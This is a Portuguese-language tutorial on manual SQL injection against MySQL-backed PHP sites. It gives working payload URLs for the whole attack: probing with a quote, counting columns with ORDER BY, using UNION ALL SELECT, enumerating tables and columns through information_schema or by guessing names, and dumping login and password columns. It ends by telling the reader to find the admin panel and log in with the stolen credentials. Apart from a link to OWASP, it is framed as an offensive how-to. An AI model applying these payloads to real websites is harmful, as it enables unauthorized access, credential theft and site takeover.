_____ ____ _ _____ _ _ _ / ____|/ __ \| | |_ _| (_) | | (_) | (___ | | | | | | | _ __ _ ___ ___| |_ _ ___ _ __ \___ \| | | | | | | | '_ \| |/ _ \/ __| __| |/ _ \| '_ \ ____) | |__| | |____ _| |_| | | | | __/ (__| |_| | (_) | | | | |_____/ \___\_\______| |_____|_| |_| |\___|\___|\__|_|\___/|_| |_| _/ | |__/ # Por Twi John ---------------- Primeiramente quero mostrar para vocês um site onde vocês poderam encontrar mais sobre novas vulnerabilidades, como se proteger de vulnerabilidades da web. http://www.owasp.org/ Nessa aula estremos aprendendo SQLi, no entanto dessa vez estaremos consultado o database Mysql para obter informações de login e senha. Aqui esta o site: www.site.com.br/noticias.php?id=10 Para descobrir se pode estar vulneravel, coloque ' depois do link, caso dei algum erro tem grande chance de estar vulneravel. www.site.com.br/noticias.php?id=10' Um exemplo de erro: Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /home/site/public_html/noticias/index.php on line 282 Essa falha é baseada em erros. Vamos pegar o numero de colunas usando ORDER BY * É usado dessa maneira: +order+by+1 //Sem erro +order+by+2 //Sem erro +order+by+3 //Sem erro +order+by+4 //Sem erro +order+by+5 //Sem erro +order+by+6 //Erro www.site.com.br/noticias.php?id=10+order+by+5 Então são apenas 5 colunas Vamos uni-las, usando UNION ALL SELECT * http://www.site.com.br/noticias.php?id=10+union+all+select+1,2,3,4,5 Coloque um traço (-) antes do valor da variavel ficando assim: http://www.site.com.br/noticias.php?id=-10+union+all+select+1,2,3,4,5 Irão aparecer numeros, eles que nóis iremos subtituir por informações: Precisamos encontrar a tabela do login agora, podemos usar Brute Force, ou então information_schema. O information_schema só funciona em databases MYSQL acima de versão acima de 5.0, para descobrir a versão use: version() +union+all+select+1,version(),3 //--Brute Force--\\ Vamos tentar colocar tabelas até que não apareça erro: UNION ALL SELECT * FROM ADMIN == erro "" "" "" "" LOGIN == erro "" "" "" "" USER == erro "" "" "" "" USERS == erro "" "" "" "" USUARIOS == sem erro Então no caso ficaria assim: http://www.site.com.br/noticias.php?id=-10+union+all+select+1,2,3,4,5+from+usuarios Você pode usar: admin, admins, usuarios, usuario, user, users, user_name, username, login, adm, tb_usuarios, tb_admin ... entre outros. //--INFORMATION_SCHEMA--\\ DATABASE: INFORMATION_SCHEMA TABELA: TABLES COLUNA: TABLE_NAME Sintaxe = Exemplo: UNION ALL SELECT 1,TABLE_NAME,3 FROM INFORMATION_SCHEMA.TABLES Para ir passando de tabela você usa LIMIT * LIMIT 1,1 LIMIT 2,1 LIMIT 3,1 LIMIT 4,1 LIMIT 5,1 ... E assim vai indo até encontrar uma tabela de login. Ex: http://www.site.com.br/noticias.php?id=-10+union+all+select+1,2,table_name,4,5+from+information_schema.tables+limit+1,1 // Vamos agora descobrir as colunas de login, você pode usar as mesmas tecnicas de brute force e information_schema, no entanto information_schema é um pouco diferente: DATABASE: INFORMATION_SCHEMA TABELLA: COLUMNS COLUNA: COLUMN_NAME Sintaxe = Exemplo: UNION ALL SELECT 1,COLUMN_NAME,3 FROM INFORMATION_SCHEMA.COLUMNS Para passar de coluna pode usar o LIMIT também. // Agora continuando suponhamos que eu tenha pegado a tabela USUARIOS e as colunas LOGIN e SENHA, para pegar as informações de login e senha é so digitar eles no seu site, nos numeros visiveis, suponhamos que tenha parecido o 2 e 3 então vamos substituir eles pela informação: UNION ALL SELECT 1,LOGIN,SENHA,3,4,5 FROM USUARIOS http://www.site.com.br/noticias.php?id=-10+union+all+select+1,login,senha,4,5+from+usuarios Agora é só encontrar a area de login, geralmente fica em /admin , /adm/ , /administrator /login.php , ou você pode usar o acunetix ou algum outro tool para encontrar a area de login. Ao encontra-la é só você se logar com as informações que você pegou ________________________________ Keep your friends updated— even when you’re not signed in.